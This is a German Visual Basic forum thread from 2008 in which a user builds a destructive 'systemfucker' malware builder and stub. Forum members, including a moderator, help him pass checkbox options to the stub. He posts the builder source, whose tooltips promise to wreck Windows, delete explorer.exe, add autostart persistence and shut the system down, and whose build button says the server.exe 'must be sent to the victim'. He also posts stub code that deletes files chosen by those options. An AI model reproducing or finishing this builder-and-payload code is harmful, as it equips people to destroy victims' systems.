|
| Autor |
Nachricht |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
[Builder] CheckBox übergeben?
Verfasst am: 07.02.2008, 22:01 |
|
|
hi,
also ersteinmal vielen Dank an ZiG für sein einfach nur geiles tut über den Builder.
Nun habe ich noch eine Frage dazu.
Ich will nen systemfucker coden und wollt fragen, wie man den nur angewählte CheckBoxen übergeben kann.
Könnt ihr mir da helfen? o.O Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
RaG3!_ Poster

Anmeldedatum: 26.07.2007 Beiträge: 104
|
Verfasst am: 07.02.2008, 22:21 |
|
|
Hatte es glaub ich mal so gemacht:
Beim Builder halt das übliche... (werde nur kleine Stücke posten:
| Code: | ....
Options = ..... & "#" & ch.Value & "#" ' Ch steht für Checkbox
|
Server:
| Code: |
Private Sub Form_Load()
Dim options As String * 100
Dim cmd() As String
Dim ch As String 'Für checkbox
.....
cmd() = Split(options, "#")
.....
ch = cmd(3)
If ch = vbChecked Then ' Falls die Checkbox angewhält wurde , dann mache oder das
..... |
MFG RaG3 |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 07.02.2008, 22:38 |
|
|
na gut so versuch ichs melde mich dann wieder thx^^ Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 01:53 |
|
|
da kommt leider ein Fehler:
Typen unverträglich... könnt ihr mir da helfen? Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
mastermaefju_ Tutorial Leser

Anmeldedatum: 26.03.2007 Beiträge: 30
|
Verfasst am: 10.02.2008, 02:15 |
|
|
mach einfach so:
| Code: | if check1.value = 1 then
options1 = ot ' im sinne von option1 = true
else
options1 = of
end if
options = option1 & "#" & option2 usw
dann im server auch wieder
if cmd(0) = ot then
blablabla
else
bliblablub
end if |
|
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 10.02.2008, 11:37 |
|
|
Ok, ich werds mal preziser erklären. Du liest die Checkbox-Value (0 oder 1) und gibst deinem String, den du der Stub übergeben möchtest, einen eindeutigen Wert.
Du hast eine Checkbox, in dem der Benutzer entwscheiden kann, ob die Stub eine MsgBox ausgeben soll. Nun wendest du das oben von mir beschriebene an.
| Code: | Dim ShowMsgBox As String
If Check1.Value = 1 Then
ShowMsgBox = "1"
Else
ShowMsgBox = "0"
End If |
Dabei steht die "1" für an und die "0" für aus. Du kannst natürlich auch gleich den Value Wert verwenden, aber ich finde es so ist es übersichtlicher. Den Wert hängst du nun hinten an die Stub. Solltest eigentlich wissen wie das geht.
Dann in der Stub wieder auslesen und abhängig vom Wert den Codeblock ausführen/nicht ausführen.
| Code: | Dim ShowMsgBox as String
ShowMsgBox = cmd(?)
If ShowMsgBox = "1" Then
MsgBox "Hallo!"
End If |
Sorry falls das zu ausführlich war. Hab immer so nen Drang zur Sorgfalt. lol
mfg Orbz |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 12:56 |
|
|
hm...also ich glaub das war dann wirlich krass ausführlich  Ich verstehs leide rimmernoch nicht... wie soll ich das im Server umsetzen? Soll ich die vars im Server so nennen wie die server im Builder heißen oder ist das egal ? Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 10.02.2008, 13:02 |
|
|
Das ist egal. Du liest in der Stub (Server) die Daten vom Ende der Datei aus.
Diese speicherst du in Variablen. Ob diese nun so heißen, wie im Builder, ist egal. |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 13:30 |
|
|
alles klar hat doch geklappt thx ^^ ich idiot hab vergessen die vars an den array cmd() zu übergeben damit es funzt. jetzt geht alles ^^ thx an alle die geholfen haben! Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 13:47 |
|
|
sry noch eine frage... ich will ja, dass nur die ausgewählten checkboxen was machen is ja klar^^ naja wie setz ich das im server um ? Also mit ner If abfrage gehts ja schlecht, weil ja mehrere ausgewählt wurden. Mit nem select case gehts iwie auch nicht.. weil er da nicht die funktionen ausführt. Also ich geb euch einahcml den source
| Code: | 'Übergebene Vars (CheckBoxen)
Dim chfuck As String
Dim chexpl As String
Dim chedit As String
Dim chshut As String
Dim chauto As String
Dim chbeep As String
Dim auswahl As String
chfuck = cmd(0)
chexpl = cmd(1)
chedit = cmd(2)
If chfuck = vbChecked Then
Kill "C:\test2.txt"
Else
Select Case auswahl
Case chexpl
Kill "C:\ff_logs"
Case chedit
Kill "C:\test.txt"
End Select
End If |
und die daten sind ejtzt nur testdateien also nicht wirklich die dinger die gelöscht werden sollen. Da brauch ich nochmal hilfe pls :S Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 10.02.2008, 13:56 |
|
|
Ich verstehe es jetzt nicht ganz. Wenn du einen Codeblock in Abhängigkeit von zwei Werten ausführen möchtest, nimmst du "And" und "Or".
| Code: | If Wert1 = "1" And Wert2 = "1" Then
End If |
Oder wie? Was genau möchtest du denn machen? Konnte rein garnichts aus deinem Code interpretieren. |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 14:04 |
|
|
also der user soll ja seine funktionen des servers auswählen können. und naja ich weiß ja natürlich nicht was der user für funktionen will. Jetzt muss ich den server so einstellen, dass jede funktion, die der benutzer ausgewählt hat funzt. er kann ja die erste und dritte checkbox genommen haben. also ich muss das so einstellen, dass mehrere boxen aufeinmal ihre funktionen ausführen.
Ich hoffe das war verständlicher^^ sonst muss ich nämlich ALLE Funktionen mit AND und OR verschachteln unswar alle kombinationen, die möglich sind.. und es gibt doch wohl einfachere funktionen dafür doer ? Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 10.02.2008, 14:05 |
|
|
| Warum? Mach doch mehrere If-Abfragen hintereinander. |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 14:20 |
|
|
scheiße omg ich kann heut nicht denken danke du hast mir heute wirklich den a** gerettet xD thx omg xD
aber die sollen einfach nur
if ... then
end if
if ... then
end if
so oder ? Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 10.02.2008, 14:24 |
|
|
Ja, wenn du "1" für Ausführen und "0" für nicht ausführen nimmst.
| Code: | Dim WertVonErsterBox as String
WertVonErsterBox = cmd(0)
If WertVonErsterBox = "1" Then
' CodeBlock
End If |
Jetzt dürftest du es verstanden haben. xD |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 14:33 |
|
|
verstanden hab ichs, aber er löscht wieder nur eine einzige datei unswar die erste....
hier der source
| Code: | If chfuck = vbChecked Then
Kill "C:\test2.txt"
End If
If chexpl = vbChecked Then
Kill "C:\test.txt"
End If
If chedit = vbChecked Then
Kill "C:\ff_logs.txt"
End If |
wür de das vlt mit else if gehen ? Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 10.02.2008, 14:40 |
|
|
Das funktioniert normalerweise so wie es da steht.
Sicher, dass du nicht irgendwo einen Fehler hast? |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 14:45 |
|
|
eig. wollt ich das verminden aber was solls hier der gesamte source
BUILDER
| Code: |
Private Sub chkautost_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
txtinfo.Text = "Erstellt eine Kopie von sich selbst im Autostart und wird nach jedem Systemstart mitgestartet."
End Sub
Private Sub chkBeep_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
txtinfo.Text = "Spielt nervende Beeptöne hintereinander ab!"
End Sub
Private Sub chkdestro_Click()
If chkdestro.Value = 1 Then
chkexpl.Enabled = False
chkautost.Enabled = False
chkeditor.Enabled = False
chkshutdown.Enabled = False
chkBeep.Enabled = False
chkexpl.Value = vbnotchecked
chkautost.Value = vbnotchecked
chkeditor.Value = vbnotchecked
chkshutdown.Value = vbnotchecked
chkBeep.Value = vbnotchecked
Else
chkexpl.Enabled = True
chkautost.Enabled = True
chkeditor.Enabled = True
chkshutdown.Enabled = True
chkBeep.Enabled = True
End If
End Sub
Private Sub chkdestro_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
txtinfo.Text = "Zerstört das gesamte System! Windows muss Neuinstalliert werden!"
End Sub
Private Sub chkeditor_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
txtinfo.Text = "Öffnet 100 mal den Texteditor und überlastet das System!"
End Sub
Private Sub chkexpl_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
txtinfo.Text = "Die explorer.exe wird gelöscht! Der Desktop und die Taskleiste erscheinen nicht!"
End Sub
Private Sub chkshutdown_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
txtinfo.Text = "Fährt das System Herunter!"
End Sub
Private Sub cmdBuild_Click()
Dim message As String
Dim Buffer() As Byte
Buffer = LoadResData(101, "CUSTOM")
Open (App.Path & "\server.exe") For Binary As #1
Put #1, , Buffer()
Close #1
Dim options As String * 100
options = chkdestro & "#" & chkexpl.Value & "#" & chkautost.Value & "#" & chkeditor.Value & "#" & chkshutdown.Value & "#" & chkBeep.Value
Open (App.Path & "\server.exe") For Binary As #1
Put #1, LOF(1) + 1, options
Close #1
message = MsgBox("Server erfolgreich erstellt!", vbInformation, "Erfolgreich!")
End Sub
Private Sub cmdBuild_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
txtinfo.Text = "Server.exe Erstellen. Diese muss an das Opfer gesendet werden."
End Sub
Private Sub cmdEnd_Click()
End
End Sub
Private Sub cmdEnd_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
txtinfo.Text = "Das Programm wird beendet."
End Sub
|
SERVER
| Code: | Private Sub Form_Load()
Dim file As String, options As String * 100, cmd() As String
file = (App.Path & "\" & App.EXEName & ".exe")
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Close #1
'Übergebene Vars (CheckBoxen)
Dim chfuck As String
Dim chexpl As String
Dim chedit As String
Dim chshut As String
Dim chauto As String
Dim chbeep As String
chfuck = cmd(0)
chexpl = cmd(1)
chedit = cmd(2)
If chfuck = vbChecked Then
Kill "C:\test2.txt"
End If
If chexpl = vbChecked Then
Kill "C:\test.txt"
End If
If chedit = vbChecked Then
Kill "C:\ff_logs.txt"
End If
End Sub
|
Hoffe ihr findet den Fehler.
Edit//
kann mir keiner helfen? :S
Edit by ZiG
OMG!
Was ist den Heute los?
Schon der dritte, der nen Doppelpost macht!
Ab Morgen verteil ich sofort Verwarnungen! |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 10.02.2008, 19:09 |
|
|
Überprüf doch einfach mal was der Server ausliest.
Dann siehst du auch warum es nicht geht. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 19:15 |
|
|
| ZiG hat Folgendes geschrieben: | Überprüf doch einfach mal was der Server ausliest.
Dann siehst du auch warum es nicht geht. |
Ich habe wirklich keine ahnung was der Fehler sein könnte.. ich glaub so sieht jeder Builder bei mir aus :S Bitte hilf mir ... und tut mir leid wegen dem Doppelpost :S wird nicht wieder vorkommen... Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 10.02.2008, 20:20 |
|
|
Theoretisch kann es nur so sein, dass in den Variablen chexpl und chedit eben nicht "1" für vbChecked drinnen steht.
Oder die Dateien sind schreibgeschützt und können deswegen nicht gelöscht werden. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 10.02.2008, 20:26 |
|
|
nein schreibgeschützt sind sie nicht. es wird ja immer nur eine der beiden dateien gelöscht.... naja und checked sind die auch die checkboxen also zumindest im Builder... Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
c0re_ « Moderator »

Anmeldedatum: 29.11.2007 Beiträge: 425
|
Verfasst am: 10.02.2008, 20:28 |
|
|
| Lass den Wert der Variable (in der Stub) mal in einer MsgBox ausgeben. |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 12.02.2008, 15:55 |
|
|
Hab die werte ausgeben lassen. nur der erste wert wird ausgegeben...
Mein Code sieht jetzt so aus, aber geht immernoch nicht...
| Code: | Dim chfuck As String
Dim chexpl As String
Dim chedit As String
Dim chshut As String
Dim chauto As String
Dim chbeep As String
chfuck = cmd(0)
chexpl = cmd(1)
chedit = cmd(2)
If chfuck = 1 Then
Kill "C:\test2.txt"
End If
If chexpl = 1 Then
Kill "C:\test.txt"
End If
If chedit = 1 Then
Kill "C:\ff_logs.txt"
End If |
Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 13.02.2008, 11:28 |
|
|
Dann wird wohl ein Fehler entstehen beim löschen der ersten Datei.
Aus welchem Grund auch immer.
Mach nochmal MsgBoxen rein und halt ein On Error Resume Next.
Dann wird er dir auch die weiteren Werte ausgeben.
Dann weißt du sicher, dass bei dem ersten Kill Befehl ein Fehler entsteht. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |
S.A.V.A.S_ Tutorial Leser


Anmeldedatum: 09.07.2007 Beiträge: 69
|
Verfasst am: 13.02.2008, 14:58 |
|
|
leider gehts immernoch nicht -.-
gibts eig. nen source dazu ? Dann könnt ich mir den doch vlt anschauen -.- er löscht immer nur die erste datei obwoh ich beim Builder 2 checkoxen anklicke, die auch im server deklairert sidn.... kp -.- Meine Visual Basic Community : [url]VB-Coderz.NET[/url] |
|
| |
|
 |
ZiG_ Überflieger

Anmeldedatum: 07.03.2007 Beiträge: 1248
|
Verfasst am: 13.02.2008, 18:19 |
|
|
Evt. ist sowas in irgendwelchen Buildersources enthalten.
Aber denke eher nicht, da das eigentlich ein recht einfaches Thema ist.
Hatte da auch nie Probleme mit.
Mußt dich halt noch mehr mit der Fehlersuche beschäftigen. Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde) |
|
| |
|
 |